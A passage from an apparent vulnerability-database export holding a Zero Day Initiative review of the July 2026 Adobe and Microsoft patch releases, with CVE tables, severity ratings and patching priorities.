up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:02:50.950807Z"}, {"uuid": "e252804b-bead-472e-ae29-d54b54d94872", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54989", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  